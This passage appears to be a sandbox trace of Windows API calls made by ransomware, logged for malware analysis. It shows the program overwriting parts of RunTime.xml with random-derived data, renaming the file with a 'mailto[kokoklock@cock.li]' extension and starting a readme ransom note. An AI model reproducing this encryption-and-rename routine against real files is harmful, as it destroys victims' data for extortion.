ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="251__C~1.PRO")) returned 1 [0088.868] wcscmp (_String1="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.868] wcscmp (_String1="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x154) returned 0x55da358 [0088.868] wcscpy (in: _Dest=0x55da358, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.868] wcscat (in: _Dest=0x55da358, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.868] wcscat (in: _Dest=0x55da358, _Source="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" [0088.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55da358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0088.869] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="252__C~1.PRO")) returned 1 [0088.869] wcscmp (_String1="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.869] wcscmp (_String1="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x348bbb8 [0088.869] wcscpy (in: _Dest=0x348bbb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.869] wcscat (in: _Dest=0x348bbb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.869] wcscat (in: _Dest=0x348bbb8, _Source="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" [0088.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348bbb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0088.870] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", cAlternateFileName="253__C~1.PRO")) returned 1 [0088.870] wcscmp (_String1="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.870] wcscmp (_String1="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.870] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x34232a0 [0088.870] wcscpy (in: _Dest=0x34232a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.870] wcscat (in: _Dest=0x34232a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.870] wcscat (in: _Dest=0x34232a0, _Source="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" [0088.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34232a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0088.871] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="254__C~1.PRO")) returned 1 [0088.871] wcscmp (_String1="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.871] wcscmp (_String1="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x3423418 Thread: id = 1236 os_tid = 0x13bc [0084.404] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml")) returned 0x20 [0084.405] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.408] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8d8 [0084.409] GetFileSizeEx (in: hFile=0x8d8, lpFileSize=0x2b6bfc00 | out: lpFileSize=0x2b6bfc00*=311059) returned 1 [0084.409] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x4bf0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.409] ReadFile (in: hFile=0x8d8, lpBuffer=0x2b6bfbd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b6bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x2b6bfbd4*, lpNumberOfBytesRead=0x2b6bfbd0*=0x4, lpOverlapped=0x0) returned 1 [0084.410] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db68 [0084.410] NtQuerySystemTime (in: CurrentTime=0x2b6bfbac | out: CurrentTime=0x2b6bfbac*=132121176423047648) returned 0x0 [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x921ac2b7 [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x42ff5c2a [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x9fca8301 [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xe0f28bee [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xd7c40782 [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x8c5acf42 [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x1f2c628c [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xae1b7c50 [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xc982bb1d [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x8642e67e [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x6e7c44e6 [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x47ea4b73 [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xfd854cfd [0084.410] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x58945cde [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x3e3784dc [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x905fc2b [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x8c5159e1 [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xc07e263b [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xac558940 [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x503206fd [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xeae66cf0 [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xf6c02e27 [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x481f777a [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xf3be42dd [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x30529505 [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xfb88fcb3 [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x2c21adab [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x57907eb9 [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x3e674375 [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0xab00c07c [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x27cb286e [0084.411] RtlRandom (in: Seed=0x2b6bfbb8 | out: Seed=0x2b6bfbb8) returned 0x58c9c37d [0084.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.422] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.422] ReadFile (in: hFile=0x8d8, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2b6bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b6bfb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.424] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0084.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0084.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.425] WriteFile (in: hFile=0x8d8, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2b6bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b6bfb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.425] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x285dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.425] ReadFile (in: hFile=0x8d8, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2b6bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b6bfb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.426] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x285dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0084.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f9b8 [0084.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0084.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0084.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0084.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e130 [0084.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e130) returned 1 [0084.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0084.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0084.426] WriteFile (in: hFile=0x8d8, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2b6bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b6bfb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.427] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x47e7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.427] ReadFile (in: hFile=0x8d8, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2b6bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b6bfb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.427] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x47e7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0084.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0084.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0084.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0084.428] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.428] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e130 [0084.428] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0084.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0084.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0084.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0084.428] WriteFile (in: hFile=0x8d8, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2b6bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b6bfb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.428] WriteFile (in: hFile=0x8d8, lpBuffer=0x342d8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b6bfbc8, lpOverlapped=0x0 | out: lpBuffer=0x342d8e8*, lpNumberOfBytesWritten=0x2b6bfbc8*=0x20, lpOverlapped=0x0) returned 1 [0084.428] WriteFile (in: hFile=0x8d8, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b6bfbc8, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x2b6bfbc8*=0x20, lpOverlapped=0x0) returned 1 [0084.428] WriteFile (in: hFile=0x8d8, lpBuffer=0x342e130*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b6bfbc8, lpOverlapped=0x0 | out: lpBuffer=0x342e130*, lpNumberOfBytesWritten=0x2b6bfbc8*=0x20, lpOverlapped=0x0) returned 1 [0084.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.429] WriteFile (in: hFile=0x8d8, lpBuffer=0x342e0e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2b6bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x342e0e0*, lpNumberOfBytesWritten=0x2b6bfbd0*=0x8, lpOverlapped=0x0) returned 1 [0084.429] WriteFile (in: hFile=0x8d8, lpBuffer=0x2b6bfbe8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b6bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x2b6bfbe8*, lpNumberOfBytesWritten=0x2b6bfbd0*=0x4, lpOverlapped=0x0) returned 1 [0084.429] WriteFile (in: hFile=0x8d8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b6bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2b6bfbd0*=0x4, lpOverlapped=0x0) returned 1 [0084.429] WriteFile (in: hFile=0x8d8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2b6bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2b6bfbd0*=0x6c, lpOverlapped=0x0) returned 1 [0084.429] WriteFile (in: hFile=0x8d8, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b6bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2b6bfbd0*=0x20, lpOverlapped=0x0) returned 1 [0084.429] WriteFile (in: hFile=0x8d8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b6bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2b6bfbd0*=0x4, lpOverlapped=0x0) returned 1 [0084.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0084.429] CloseHandle (hObject=0x8d8) returned 1 [0084.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3479e38 [0084.430] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" [0084.430] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.430] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.430] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.431] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494c18 [0084.431] wcscpy (in: _Dest=0x3494c18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\" [0084.431] wcscat (in: _Dest=0x3494c18, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\D0E731-Readme.txt" [0084.431] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.431] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, 